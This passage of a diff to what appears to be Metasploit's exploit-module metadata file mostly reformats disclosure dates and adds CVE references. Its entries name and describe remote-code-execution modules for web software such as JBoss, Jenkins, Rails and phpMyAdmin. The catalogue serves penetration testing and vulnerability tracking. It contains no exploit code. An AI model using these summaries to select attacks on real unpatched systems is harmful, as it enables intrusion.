"2014-12-18 00:00:00 -0600", + "disclosure_date": "2014-12-18", "type": "exploit", "author": [ "Jon Hart " @@ -39884,7 +37814,7 @@ "name": "Malicious Git HTTP Server For CVE-2017-1000117", "full_name": "exploit/multi/http/git_submodule_command_exec", "rank": 600, - "disclosure_date": "2017-08-10 00:00:00 -0500", + "disclosure_date": "2017-08-10", "type": "exploit", "author": [ @@ -39911,7 +37841,7 @@ "name": "Gitlab-shell Code Execution", "full_name": "exploit/multi/http/gitlab_shell_exec", "rank": 600, - "disclosure_date": "2013-11-04 00:00:00 -0600", + "disclosure_date": "2013-11-04", "type": "exploit", "author": [ "Brandon Knight" @@ -39941,7 +37871,7 @@ "name": "GitList v0.6.0 Argument Injection Vulnerability", "full_name": "exploit/multi/http/gitlist_arg_injection", "rank": 600, - "disclosure_date": "2018-04-26 00:00:00 +0000", + "disclosure_date": "2018-04-26", "type": "exploit", "author": [ "Kacper Szurek", @@ -39949,6 +37879,7 @@ ], "description": "This module exploits an argument injection vulnerability in GitList v0.6.0.\n The vulnerability arises from GitList improperly validating input using the php function\n 'escapeshellarg'.", "references": [ + "CVE-2018-1000533", "EDB-44548", "URL-https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html" ], @@ -39969,7 +37900,7 @@ "name": "Gitorious Arbitrary Command Execution", "full_name": "exploit/multi/http/gitorious_graph", "rank": 600, - "disclosure_date": "2012-01-19 00:00:00 -0600", + "disclosure_date": "2012-01-19", "type": "exploit", "author": [ "joernchen " @@ -39996,7 +37927,7 @@ "name": "Sun/Oracle GlassFish Server Authenticated Code Execution", "full_name": "exploit/multi/http/glassfish_deployer", "rank": 600, - "disclosure_date": "2011-08-04 00:00:00 -0500", + "disclosure_date": "2011-08-04", "type": "exploit", "author": [ "juan vazquez ", @@ -40028,7 +37959,7 @@ "name": "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/glossword_upload_exec", "rank": 600, - "disclosure_date": "2013-02-05 00:00:00 -0600", + "disclosure_date": "2013-02-05", "type": "exploit", "author": [ "AkaStep", @@ -40056,7 +37987,7 @@ "name": "GLPI install.php Remote Command Execution", "full_name": "exploit/multi/http/glpi_install_rce", "rank": 0, - "disclosure_date": "2013-09-12 00:00:00 -0500", + "disclosure_date": "2013-09-12", "type": "exploit", "author": [ "Tristan Leiter < research@navixia.com >" @@ -40084,7 +38015,7 @@ "name": "Horde 3.3.12 Backdoor Arbitrary PHP Code Execution", "full_name": "exploit/multi/http/horde_href_backdoor", "rank": 600, - "disclosure_date": "2012-02-13 00:00:00 -0600", + "disclosure_date": "2012-02-13", "type": "exploit", "author": [ "Eric Romang", @@ -40115,7 +38046,7 @@ "name": "HP SiteScope issueSiebelCmd Remote Code Execution", "full_name": "exploit/multi/http/hp_sitescope_issuesiebelcmd", "rank": 500, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "rgod ", @@ -40146,7 +38077,7 @@ "name": "HP SiteScope Remote Code Execution", "full_name": "exploit/multi/http/hp_sitescope_uploadfileshandler", "rank": 400, - "disclosure_date": "2012-08-29 00:00:00 -0500", + "disclosure_date": "2012-08-29", "type": "exploit", "author": [ "rgod ", @@ -40154,6 +38085,8 @@ ], "description": "This module exploits a code execution flaw in HP SiteScope. It exploits two\n vulnerabilities in order to get its objective. An authentication bypass in the\n create operation, available through the APIPreferenceImpl AXIS service, to create\n a new account with empty credentials and, subsequently, uses the new account to\n abuse the UploadManagerServlet and upload an arbitrary payload embedded in a JSP.\n The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2\n and Linux CentOS 6.3.", "references": [ + "CVE-2012-3260", + "CVE-2012-3261", "OSVDB-85121", "OSVDB-85151", "BID-55269", @@ -40179,7 +38112,7 @@ "name": "HP System Management Homepage JustGetSNMPQueue Command Injection", "full_name": "exploit/multi/http/hp_sys_mgmt_exec", "rank": 600, - "disclosure_date": "2013-06-11 00:00:00 -0500", + "disclosure_date": "2013-06-11", "type": "exploit", "author": [ "Markus Wulftange", @@ -40212,7 +38145,7 @@ "name": "VMware Hyperic HQ Groovy Script-Console Java Execution", "full_name": "exploit/multi/http/hyperic_hq_script_console", "rank": 600, - "disclosure_date": "2013-10-10 00:00:00 -0500", + "disclosure_date": "2013-10-10", "type": "exploit", "author": [ "Brendan Coles " @@ -40241,7 +38174,7 @@ "name": "IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution", "full_name": "exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec", "rank": 600, - "disclosure_date": "2017-05-30 00:00:00 -0500", + "disclosure_date": "2017-05-30", "type": "exploit", "author": [ "SecuriTeam", @@ -40272,7 +38205,7 @@ "name": "ISPConfig Authenticated Arbitrary PHP Code Execution", "full_name": "exploit/multi/http/ispconfig_php_exec", "rank": 600, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "Brandon Perry " @@ -40299,7 +38232,7 @@ "name": "JBoss JMX Console Beanshell Deployer WAR Upload and Deployment", "full_name": "exploit/multi/http/jboss_bshdeployer", "rank": 600, - "disclosure_date": "2010-04-26 00:00:00 -0500", + "disclosure_date": "2010-04-26", "type": "exploit", "author": [ "Patrick Hof", @@ -40334,7 +38267,7 @@ "name": "JBoss Java Class DeploymentFileRepository WAR Deployment", "full_name": "exploit/multi/http/jboss_deploymentfilerepository", "rank": 600, - "disclosure_date": "2010-04-26 00:00:00 -0500", + "disclosure_date": "2010-04-26", "type": "exploit", "author": [ "MC ", @@ -40369,7 +38302,7 @@ "name": "JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)", "full_name": "exploit/multi/http/jboss_invoke_deploy", "rank": 600, - "disclosure_date": "2007-02-20 00:00:00 -0600", + "disclosure_date": "2007-02-20", "type": "exploit", "author": [ "Patrick Hof", @@ -40402,7 +38335,7 @@ "name": "JBoss JMX Console Deployer Upload and Execute", "full_name": "exploit/multi/http/jboss_maindeployer", "rank": 600, - "disclosure_date": "2007-02-20 00:00:00 -0600", + "disclosure_date": "2007-02-20", "type": "exploit", "author": [ "jduck ", @@ -40437,7 +38370,7 @@ "name": "JBoss Seam 2 File Upload and Execute", "full_name": "exploit/multi/http/jboss_seam_upload_exec", "rank": 300, - "disclosure_date": "2010-08-05 00:00:00 -0500", + "disclosure_date": "2010-08-05", "type": "exploit", "author": [ "vulp1n3 " @@ -40466,7 +38399,7 @@ "name": "Jenkins-CI Script-Console Java Execution", "full_name": "exploit/multi/http/jenkins_script_console", "rank": 400, - "disclosure_date": "2013-01-18 00:00:00 -0600", + "disclosure_date": "2013-01-18", "type": "exploit", "author": [ "Spencer McIntyre", @@ -40496,7 +38429,7 @@ "name": "Jenkins XStream Groovy classpath Deserialization Vulnerability", "full_name": "exploit/multi/http/jenkins_xstream_deserialize", "rank": 600, - "disclosure_date": "2016-02-24 00:00:00 -0600", + "disclosure_date": "2016-02-24", "type": "exploit", "author": [ "Arshan Dabirsiaghi", @@ -40530,7 +38463,7 @@ "name": "Atlassian HipChat for Jira Plugin Velocity Template Injection", "full_name": "exploit/multi/http/jira_hipchat_template", "rank": 600, - "disclosure_date": "2015-10-28 00:00:00 -0500", + "disclosure_date": "2015-10-28", "type": "exploit", "author": [ "Chris Wood", @@ -40562,7 +38495,7 @@ "name": "Joomla HTTP Header Unauthenticated Remote Code Execution", "full_name": "exploit/multi/http/joomla_http_header_rce", "rank": 600, - "disclosure_date": "2015-12-14 00:00:00 -0600", + "disclosure_date": "2015-12-14", "type": "exploit", "author": [ "Marc-Alexandre Montpas", @@ -40598,7 +38531,7 @@ "name": "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/kordil_edms_upload_exec", "rank": 600, - "disclosure_date": "2013-02-22 00:00:00 -0600", + "disclosure_date": "2013-02-22", "type": "exploit", "author": [ "Brendan Coles " @@ -40625,7 +38558,7 @@ "name": "LotusCMS 3.0 eval() Remote Command Execution", "full_name": "exploit/multi/http/lcms_php_exec", "rank": 600, - "disclosure_date": "2011-03-03 00:00:00 -0600", + "disclosure_date": "2011-03-03", "type": "exploit", "author": [ "dflah_ ", @@ -40634,6 +38567,7 @@ ], "description": "This module exploits a vulnerability found in Lotus CMS 3.0's Router()\n function. This is done by embedding PHP code in the 'page' parameter,\n which will be passed to a eval call, therefore allowing remote code execution.\n\n The module can either automatically pick up a 'page' parameter from the\n default page, or manually specify one in the URI option. To use the automatic\n method, please supply the URI with just a directory path, for example: \"/lcms/\".\n To manually configure one, you may do: \"/lcms/somepath/index.php?page=index\"", "references": [ + "CVE-2011-0518", "OSVDB-75095", "URL-http://secunia.com/secunia_research/2011-21/" ], @@ -40654,7 +38588,7 @@ "name": "Log1 CMS writeInfo() PHP Code Injection", "full_name": "exploit/multi/http/log1cms_ajax_create_folder", "rank": 600, - "disclosure_date": "2011-04-11 00:00:00 -0500", + "disclosure_date": "2011-04-11", "type": "exploit", "author": [ "EgiX", @@ -40685,7 +38619,7 @@ "name": "Magento 2.0.6 Unserialize Remote Code Execution", "full_name": "exploit/multi/http/magento_unserialize", "rank": 600, - "disclosure_date": "2016-05-17 00:00:00 -0500", + "disclosure_date": "2016-05-17", "type": "exploit", "author": [ "Netanel Rubin", @@ -40717,7 +38651,7 @@ "name": "Mako Server v2.5, 2.6 OS Command Injection RCE", "full_name": "exploit/multi/http/makoserver_cmd_exec", "rank": 600, - "disclosure_date": "2017-09-03 00:00:00 -0500", + "disclosure_date": "2017-09-03", "type": "exploit", "author": [ "John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure", @@ -40745,7 +38679,7 @@ "name": "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection", "full_name": "exploit/multi/http/manage_engine_dc_pmp_sqli", "rank": 600, - "disclosure_date": "2014-06-08 00:00:00 -0500", + "disclosure_date": "2014-06-08", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -40780,7 +38714,7 @@ "name": "ManageEngine Multiple Products Authenticated File Upload", "full_name": "exploit/multi/http/manageengine_auth_upload", "rank": 600, - "disclosure_date": "2014-12-15 00:00:00 -0600", + "disclosure_date": "2014-12-15", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -40811,7 +38745,7 @@ "name": "ManageEngine ServiceDesk Plus Arbitrary File Upload", "full_name": "exploit/multi/http/manageengine_sd_uploader", "rank": 600, - "disclosure_date": "2015-08-20 00:00:00 -0500", + "disclosure_date": "2015-08-20", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -40838,7 +38772,7 @@ "name": "ManageEngine Security Manager Plus 5.5 Build 5505 SQL Injection", "full_name": "exploit/multi/http/manageengine_search_sqli", "rank": 600, - "disclosure_date": "2012-10-18 00:00:00 -0500", + "disclosure_date": "2012-10-18", "type": "exploit", "author": [ "xistence ", @@ -40870,7 +38804,7 @@ "name": "Mantis manage_proj_page PHP Code Execution", "full_name": "exploit/multi/http/mantisbt_manage_proj_page_rce", "rank": 600, - "disclosure_date": "2008-10-16 00:00:00 -0500", + "disclosure_date": "2008-10-16", "type": "exploit", "author": [ "EgiX", @@ -40898,7 +38832,7 @@ "name": "MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability", "full_name": "exploit/multi/http/mantisbt_php_exec", "rank": 500, - "disclosure_date": "2014-11-08 00:00:00 -0600", + "disclosure_date": "2014-11-08", "type": "exploit", "author": [ "Egidio Romano", @@ -40929,7 +38863,7 @@ "name": "MediaWiki SyntaxHighlight extension option injection vulnerability", "full_name": "exploit/multi/http/mediawiki_syntaxhighlight", "rank": 400, - "disclosure_date": "2017-04-06 00:00:00 -0500", + "disclosure_date": "2017-04-06", "type": "exploit", "author": [ "Yorick Koster" @@ -40958,7 +38892,7 @@ "name": "MediaWiki Thumb.php Remote Command Execution", "full_name": "exploit/multi/http/mediawiki_thumb", "rank": 600, - "disclosure_date": "2014-01-28 00:00:00 -0600", + "disclosure_date": "2014-01-28", "type": "exploit", "author": [ "Netanel Rubin", @@ -40992,7 +38926,7 @@ "name": "Metasploit Web UI Static secret_key_base Value", "full_name": "exploit/multi/http/metasploit_static_secret_key_base", "rank": 600, - "disclosure_date": "2016-09-15 00:00:00 -0500", + "disclosure_date": "2016-09-15", "type": "exploit", "author": [ "Justin Steven", @@ -41021,7 +38955,7 @@ "name": "Metasploit Web UI Diagnostic Console Command Execution", "full_name": "exploit/multi/http/metasploit_webui_console_command_execution", "rank": 600, - "disclosure_date": "2016-08-23 00:00:00 -0500", + "disclosure_date": "2016-08-23", "type": "exploit", "author": [ "Justin Steven" @@ -41048,7 +38982,7 @@ "name": "Th3 MMA mma.php Backdoor Arbitrary File Upload", "full_name": "exploit/multi/http/mma_backdoor_upload", "rank": 600, - "disclosure_date": "2012-04-02 00:00:00 -0500", + "disclosure_date": "2012-04-02", "type": "exploit", "author": [ "Jay Turla <@shipcod3>" @@ -41074,7 +39008,7 @@ "name": "MobileCartly 1.0 Arbitrary File Creation Vulnerability", "full_name": "exploit/multi/http/mobilecartly_upload_exec", "rank": 600, - "disclosure_date": "2012-08-10 00:00:00 -0500", + "disclosure_date": "2012-08-10", "type": "exploit", "author": [ "Yakir Wizman ", @@ -41104,7 +39038,7 @@ "name": "Monstra CMS Authenticated Arbitrary File Upload", "full_name": "exploit/multi/http/monstra_fileupload_exec", "rank": 600, - "disclosure_date": "2017-12-18 00:00:00 +0000", + "disclosure_date": "2017-12-18", "type": "exploit", "author": [ "Ishaq Mohammed ", @@ -41135,7 +39069,7 @@ "name": "Moodle Remote Command Execution", "full_name": "exploit/multi/http/moodle_cmd_exec", "rank": 400, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "Brandon Perry " @@ -41163,7 +39097,7 @@ "name": "Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution", "full_name": "exploit/multi/http/movabletype_upgrade_exec", "rank": 600, - "disclosure_date": "2013-01-07 00:00:00 -0600", + "disclosure_date": "2013-01-07", "type": "exploit", "author": [ "Kacper Nowak", @@ -41195,7 +39129,7 @@ "name": "Mutiny Remote Command Execution", "full_name": "exploit/multi/http/mutiny_subnetmask_exec", "rank": 600, - "disclosure_date": "2012-10-22 00:00:00 -0500", + "disclosure_date": "2012-10-22", "type": "exploit", "author": [ "Christopher Campbell", @@ -41227,7 +39161,7 @@ "name": "NAS4Free Arbitrary Remote Code Execution", "full_name": "exploit/multi/http/nas4free_php_exec", "rank": 500, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "Brandon Perry " @@ -41254,7 +39188,7 @@ "name": "Netwin SurgeFTP Remote Command Execution", "full_name": "exploit/multi/http/netwin_surgeftp_exec", "rank": 400, - "disclosure_date": "2012-12-06 00:00:00 -0600", + "disclosure_date": "2012-12-06", "type": "exploit", "author": [ "Spencer McIntyre", @@ -41284,7 +39218,7 @@ "name": "Nibbleblog File Upload Vulnerability", "full_name": "exploit/multi/http/nibbleblog_file_upload", "rank": 600, - "disclosure_date": "2015-09-01 00:00:00 -0500", + "disclosure_date": "2015-09-01", "type": "exploit", "author": [ "Unknown", @@ -41292,6 +39226,7 @@ ], "description": "Nibbleblog contains a flaw that allows an authenticated remote\n attacker to execute arbitrary PHP code. This module was\n tested on version 4.0.3.", "references": [ + "CVE-2015-6967", "URL-http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html" ], "is_server": true, @@ -41311,7 +39246,7 @@ "name": "Novell ServiceDesk Authenticated File Upload", "full_name": "exploit/multi/http/novell_servicedesk_rce", "rank": 600, - "disclosure_date": "2016-03-30 00:00:00 -0500", + "disclosure_date": "2016-03-30", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -41341,7 +39276,7 @@ "name": "OP5 license.php Remote Command Execution", "full_name": "exploit/multi/http/op5_license", "rank": 600, - "disclosure_date": "2012-01-05 00:00:00 -0600", + "disclosure_date": "2012-01-05", "type": "exploit", "author": [ "Peter Osterberg " @@ -41369,7 +39304,7 @@ "name": "OP5 welcome Remote Command Execution", "full_name": "exploit/multi/http/op5_welcome", "rank": 600, - "disclosure_date": "2012-01-05 00:00:00 -0600", + "disclosure_date": "2012-01-05", "type": "exploit", "author": [ "Peter Osterberg " @@ -41397,7 +39332,7 @@ "name": "Openfire Admin Console Authentication Bypass", "full_name": "exploit/multi/http/openfire_auth_bypass", "rank": 600, - "disclosure_date": "2008-11-10 00:00:00 -0600", + "disclosure_date": "2008-11-10", "type": "exploit", "author": [ "Andreas Kurtz", @@ -41430,7 +39365,7 @@ "name": "OpenMediaVault Cron Remote Command Execution", "full_name": "exploit/multi/http/openmediavault_cmd_exec", "rank": 600, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "Brandon Perry " @@ -41457,7 +39392,7 @@ "name": "OpenX Backdoor PHP Code Execution", "full_name": "exploit/multi/http/openx_backdoor_php", "rank": 600, - "disclosure_date": "2013-08-07 00:00:00 -0500", + "disclosure_date": "2013-08-07", "type": "exploit", "author": [ "egypt ", @@ -41487,7 +39422,7 @@ "name": "ManageEngine OpManager and Social IT Arbitrary File Upload", "full_name": "exploit/multi/http/opmanager_socialit_file_upload", "rank": 600, - "disclosure_date": "2014-09-27 00:00:00 -0500", + "disclosure_date": "2014-09-27", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -41515,7 +39450,7 @@ "name": "Oracle ATS Arbitrary File Upload", "full_name": "exploit/multi/http/oracle_ats_file_upload", "rank": 600, - "disclosure_date": "2016-01-20 00:00:00 -0600", + "disclosure_date": "2016-01-20", "type": "exploit", "author": [ "Zhou Yu", @@ -41545,7 +39480,7 @@ "name": "Oracle Forms and Reports Remote Code Execution", "full_name": "exploit/multi/http/oracle_reports_rce", "rank": 500, - "disclosure_date": "2014-01-15 00:00:00 -0600", + "disclosure_date": "2014-01-15", "type": "exploit", "author": [ "miss_sudo ", @@ -41577,7 +39512,7 @@ "name": "Oracle WebLogic wls-wsat Component Deserialization RCE", "full_name": "exploit/multi/http/oracle_weblogic_wsat_deserialization_rce", "rank": 600, - "disclosure_date": "2017-10-19 00:00:00 -0500", + "disclosure_date": "2017-10-19", "type": "exploit", "author": [ "Kevin Kirsche ", @@ -41611,7 +39546,7 @@ "name": "OrientDB 2.2.x Remote Code Execution", "full_name": "exploit/multi/http/orientdb_exec", "rank": 400, - "disclosure_date": "2017-07-13 00:00:00 -0500", + "disclosure_date": "2017-07-13", "type": "exploit", "author": [ "Francis Alexander - Beyond Security's SecuriTeam Secure Disclosure program", @@ -41619,6 +39554,7 @@ ], "description": "This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.\n All versions from 2.2.2 up to 2.2.22 should be vulnerable.", "references": [ + "CVE-2017-11467", "URL-https://blogs.securiteam.com/index.php/archives/3318", "URL-http://www.palada.net/index.php/2017/07/13/news-2112/", "URL-https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017" @@ -41642,7 +39578,7 @@ "name": "osCommerce Installer Unauthenticated Code Execution", "full_name": "exploit/multi/http/oscommerce_installer_unauth_code_exec", "rank": 600, - "disclosure_date": "2018-04-30 00:00:00 -0500", + "disclosure_date": "2018-04-30", "type": "exploit", "author": [ "Simon Scannell", @@ -41669,7 +39605,7 @@ "name": "Pandora FMS v3.1 Auth Bypass and Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/pandora_upload_exec", "rank": 600, - "disclosure_date": "2010-11-30 00:00:00 -0600", + "disclosure_date": "2010-11-30", "type": "exploit", "author": [ "Juan Galiana Lara", @@ -41703,7 +39639,7 @@ "name": "Phoenix Exploit Kit Remote Code Execution", "full_name": "exploit/multi/http/phoenix_exec", "rank": 600, - "disclosure_date": "2016-07-01 00:00:00 -0500", + "disclosure_date": "2016-07-01", "type": "exploit", "author": [ "CrashBandicot", @@ -41732,7 +39668,7 @@ "name": "PHP CGI Argument Injection", "full_name": "exploit/multi/http/php_cgi_arg_injection", "rank": 600, - "disclosure_date": "2012-05-03 00:00:00 -0500", + "disclosure_date": "2012-05-03", "type": "exploit", "author": [ "egypt ", @@ -41767,7 +39703,7 @@ "name": "PHP Utility Belt Remote Code Execution", "full_name": "exploit/multi/http/php_utility_belt_rce", "rank": 600, - "disclosure_date": "2015-12-08 00:00:00 -0600", + "disclosure_date": "2015-12-08", "type": "exploit", "author": [ "WICS", @@ -41795,7 +39731,7 @@ "name": "PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/php_volunteer_upload_exec", "rank": 600, - "disclosure_date": "2012-05-28 00:00:00 -0500", + "disclosure_date": "2012-05-28", "type": "exploit", "author": [ "Ashoo ", @@ -41823,7 +39759,7 @@ "name": "phpFileManager 0.9.8 Remote Code Execution", "full_name": "exploit/multi/http/phpfilemanager_rce", "rank": 600, - "disclosure_date": "2015-08-28 00:00:00 -0500", + "disclosure_date": "2015-08-28", "type": "exploit", "author": [ "hyp3rlinx", @@ -41831,6 +39767,7 @@ ], "description": "This module exploits a remote code execution vulnerability in phpFileManager\n 0.9.8 which is a filesystem management tool on a single file.", "references": [ + "CVE-2015-5958", "EDB-37709", "URL-http://phpfm.sourceforge.net/" ], @@ -41852,7 +39789,7 @@ "name": "phpLDAPadmin query_engine Remote PHP Code Injection", "full_name": "exploit/multi/http/phpldapadmin_query_engine", "rank": 600, - "disclosure_date": "2011-10-24 00:00:00 -0500", + "disclosure_date": "2011-10-24", "type": "exploit", "author": [ "EgiX ", @@ -41883,7 +39820,7 @@ "name": "PHPMailer Sendmail Argument Injection", "full_name": "exploit/multi/http/phpmailer_arg_injection", "rank": 0, - "disclosure_date": "2016-12-26 00:00:00 -0600", + "disclosure_date": "2016-12-26", "type": "exploit", "author": [ "Dawid Golunski", @@ -41916,7 +39853,7 @@ "name": "PHPMoAdmin 1.1.2 Remote Code Execution", "full_name": "exploit/multi/http/phpmoadmin_exec", "rank": 600, - "disclosure_date": "2015-03-03 00:00:00 -0600", + "disclosure_date": "2015-03-03", "type": "exploit", "author": [ "Pichaya Morimoto pichaya ", @@ -41946,7 +39883,7 @@ "name": "phpMyAdmin 3.5.2.2 server_sync.php Backdoor", "full_name": "exploit/multi/http/phpmyadmin_3522_backdoor", "rank": 300, - "disclosure_date": "2012-09-25 00:00:00 -0500", + "disclosure_date": "2012-09-25", "type": "exploit", "author": [ "hdm " @@ -41975,7 +39912,7 @@ "name": "phpMyAdmin Authenticated Remote Code Execution", "full_name": "exploit/multi/http/phpmyadmin_lfi_rce", "rank": 400, - "disclosure_date": "2018-06-19 00:00:00 +0000", + "disclosure_date": "2018-06-19", "type": "exploit", "author": [ "ChaMd5", @@ -42010,7 +39947,7 @@ "name": "phpMyAdmin Authenticated Remote Code Execution", "full_name": "exploit/multi/http/phpmyadmin_null_termination_exec", "rank": 600, - "disclosure_date": "2016-06-23 00:00:00 +0000", + "disclosure_date": "2016-06-23", "type": "exploit", "author": [ "Michal Čihař and Cure53", @@ -42042,7 +39979,7 @@ "name": "phpMyAdmin Authenticated Remote Code Execution via preg_replace()", "full_name": "exploit/multi/http/phpmyadmin_preg_replace", "rank": 600, - "disclosure_date": "2013-04-25 00:00:00 -0500", + "disclosure_date": "2013-04-25", "type": "exploit", "author": [ "Janek \"waraxe\" Vind", @@ -42075,7 +40012,7 @@ "name": "phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection", "full_name": "exploit/multi/http/phpscheduleit_start_date", "rank": 600, - "disclosure_date": "2008-10-01 00:00:00 -0500", + "disclosure_date": "2008-10-01", "type": "exploit", "author": [ "EgiX", @@ -42105,7 +40042,7 @@ "name": "PhpTax pfilez Parameter Exec Remote Code Injection", "full_name": "exploit/multi/http/phptax_exec", "rank": 600, - "disclosure_date": "2012-10-08 00:00:00 -0500", + "disclosure_date": "2012-10-08", "type": "exploit", "author": [ "Jean Pascal Pereira ", @@ -42133,7 +40070,7 @@ "name": "Phpwiki Ploticus Remote Code Execution", "full_name": "exploit/multi/http/phpwiki_ploticus_exec", "rank": 600, - "disclosure_date": "2014-09-11 00:00:00 -0500", + "disclosure_date": "2014-09-11", "type": "exploit", "author": [ "Benjamin Harris", @@ -42165,7 +40102,7 @@ "name": "PlaySMS sendfromfile.php Authenticated \"Filename\" Field Code Execution", "full_name": "exploit/multi/http/playsms_filename_exec", "rank": 600, - "disclosure_date": "2017-05-21 00:00:00 -0500", + "disclosure_date": "2017-05-21", "type": "exploit", "author": [ "Touhid M.Shaikh ", @@ -42195,7 +40132,7 @@ "name": "PlaySMS import.php Authenticated CSV File Upload Code Execution", "full_name": "exploit/multi/http/playsms_uploadcsv_exec", "rank": 600, - "disclosure_date": "2017-05-21 00:00:00 -0500", + "disclosure_date": "2017-05-21", "type": "exploit", "author": [ "Touhid M.Shaikh " @@ -42223,7 +40160,7 @@ "name": "Plone and Zope XMLTools Remote Command Execution", "full_name": "exploit/multi/http/plone_popen2", "rank": 600, - "disclosure_date": "2011-10-04 00:00:00 -0500", + "disclosure_date": "2011-10-04", "type": "exploit", "author": [ "Unknown", @@ -42254,7 +40191,7 @@ "name": "PmWiki pagelist.php Remote PHP Code Injection Exploit", "full_name": "exploit/multi/http/pmwiki_pagelist", "rank": 600, - "disclosure_date": "2011-11-09 00:00:00 -0600", + "disclosure_date": "2011-11-09", "type": "exploit", "author": [ "EgiX", @@ -42285,7 +40222,7 @@ "name": "PolarBear CMS PHP File Upload Vulnerability", "full_name": "exploit/multi/http/polarcms_upload_exec", "rank": 600, - "disclosure_date": "2012-01-21 00:00:00 -0600", + "disclosure_date": "2012-01-21", "type": "exploit", "author": [ "Fady Mohamed Osman" @@ -42313,7 +40250,7 @@ "name": "ProcessMaker Open Source Authenticated PHP Code Execution", "full_name": "exploit/multi/http/processmaker_exec", "rank": 600, - "disclosure_date": "2013-10-24 00:00:00 -0500", + "disclosure_date": "2013-10-24", "type": "exploit", "author": [ "Brendan Coles " @@ -42341,7 +40278,7 @@ "name": "ProcessMaker Plugin Upload", "full_name": "exploit/multi/http/processmaker_plugin_upload", "rank": 600, - "disclosure_date": "2010-08-25 00:00:00 -0500", + "disclosure_date": "2010-08-25", "type": "exploit", "author": [ "Brendan Coles " @@ -42367,7 +40304,7 @@ "name": "qdPM v7 Arbitrary PHP File Upload Vulnerability", "full_name": "exploit/multi/http/qdpm_upload_exec", "rank": 600, - "disclosure_date": "2012-06-14 00:00:00 -0500", + "disclosure_date": "2012-06-14", "type": "exploit", "author": [ "loneferret", @@ -42396,7 +40333,7 @@ "name": "Ruby on Rails ActionPack Inline ERB Code Execution", "full_name": "exploit/multi/http/rails_actionpack_inline_exec", "rank": 600, - "disclosure_date": "2016-03-01 00:00:00 -0600", + "disclosure_date": "2016-03-01", "type": "exploit", "author": [ "RageLtMan " @@ -42422,7 +40359,7 @@ "name": "Ruby on Rails Dynamic Render File Upload Remote Code Execution", "full_name": "exploit/multi/http/rails_dynamic_render_code_exec", "rank": 600, - "disclosure_date": "2016-10-16 00:00:00 -0500", + "disclosure_date": "2016-10-16", "type": "exploit", "author": [ "mr_me ", @@ -42452,7 +40389,7 @@ "name": "Ruby on Rails JSON Processor YAML Deserialization Code Execution", "full_name": "exploit/multi/http/rails_json_yaml_code_exec", "rank": 600, - "disclosure_date": "2013-01-28 00:00:00 -0600", + "disclosure_date": "2013-01-28", "type": "exploit", "author": [ "jjarmoc", @@ -42481,13 +40418,14 @@ "name": "Ruby on Rails Known Secret Session Cookie Remote Code Execution", "full_name": "exploit/multi/http/rails_secret_deserialization", "rank": 600, - "disclosure_date": "2013-04-11 00:00:00 -0500", + "disclosure_date": "2013-04-11", "type": "exploit", "author": [ "joernchen of Phenoelit " ], "description": "This module implements Remote Command Execution on Ruby on Rails applications.\n Prerequisite is knowledge of the \"secret_token\" (Rails 2/3) or \"secret_key_base\"\n (Rails 4). The values for those can be usually found in the file\n \"RAILS_ROOT/config/initializers/secret_token.rb\". The module achieves RCE by\n deserialization of a crafted Ruby Object.", "references": [ + "CVE-2013-0156", "URL-http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/" ], "is_server": true, @@ -42507,7 +40445,7 @@ "name": "Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution", "full_name": "exploit/multi/http/rails_web_console_v2_code_exec", "rank": 600, - "disclosure_date": "2015-06-16 00:00:00 -0500", + "disclosure_date": "2015-06-16", "type": "exploit", "author": [ "joernchen ", @@ -42538,7 +40476,7 @@ "name": "Ruby on Rails XML Processor YAML Deserialization Code Execution", "full_name": "exploit/multi/http/rails_xml_yaml_code_exec", "rank": 600, - "disclosure_date": "2013-01-07 00:00:00 -0600", + "disclosure_date": "2013-01-07", "type": "exploit", "author": [ "charliesome", @@ -42569,7 +40507,7 @@ "name": "Rocket Servergraph Admin Center fileRequestor Remote Code Execution", "full_name": "exploit/multi/http/rocket_servergraph_file_requestor_rce", "rank": 500, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "rgod ", @@ -42602,7 +40540,7 @@ "name": "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/sflog_upload_exec", "rank": 600, - "disclosure_date": "2012-07-06 00:00:00 -0500", + "disclosure_date": "2012-07-06", "type": "exploit", "author": [ "dun", @@ -42631,7 +40569,7 @@ "name": "Simple Backdoor Shell Remote Code Execution", "full_name": "exploit/multi/http/simple_backdoors_exec", "rank": 600, - "disclosure_date": "2015-09-08 00:00:00 -0500", + "disclosure_date": "2015-09-08", "type": "exploit", 